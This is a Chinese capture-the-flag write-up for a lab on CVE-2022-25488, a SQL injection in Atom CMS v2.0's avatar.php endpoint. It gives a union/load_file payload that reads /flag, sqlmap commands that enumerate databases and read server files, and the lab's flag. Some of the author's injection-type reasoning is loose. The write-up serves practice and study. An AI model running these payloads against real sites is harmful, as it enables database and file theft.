春秋云镜：CVE-2022-25488（SQL报错注入）

文章列表

一、题目

介绍：

Atom CMS v2.0存在sql注入漏洞在/admin/ajax/avatar.php页面

进入题目;

发现是Not Found页面一开始以为打开的问题：

一想我们要访问的是/admin/ajax/avatar.php

访问后是空白页面：

查看前端源码：

测试一下注入点?id=1

源码发生了变化：

试试id=1'

源码没有变化：

在次验证一下 id=1 and 1=1

字符型注入没错了

由于flag没有在数据库的库名中显示，所以我们直接报错注入就好。

sql报错注入：

http://xxx.ichunqiu.com/admin/ajax/avatar.php?id=-1 union (select load_file('/flag'))#

id=1 and 1=2 也可以主要让id的语法错误回显出来flag

设置id=1 爆库

python sqlmap.py -u http://xxx.ichunqiu.com/admin/ajax/avatar.php?id=1 --batch -dbs

虽然爆出来了但是没有flag表

因为i春秋靶场默认flag就在根目录我们可以直接查找/flag文件：

python sqlmap.py -u http://xxx.ichunqiu.com/admin/ajax/avatar.php?id=1 --batch --file-read "/flag" --dbms mysql

跑出来会存在sqlmap的目录：

查看一下：

flag{6d6a2570-99f2-402f-aeb2-bb9b6da68247}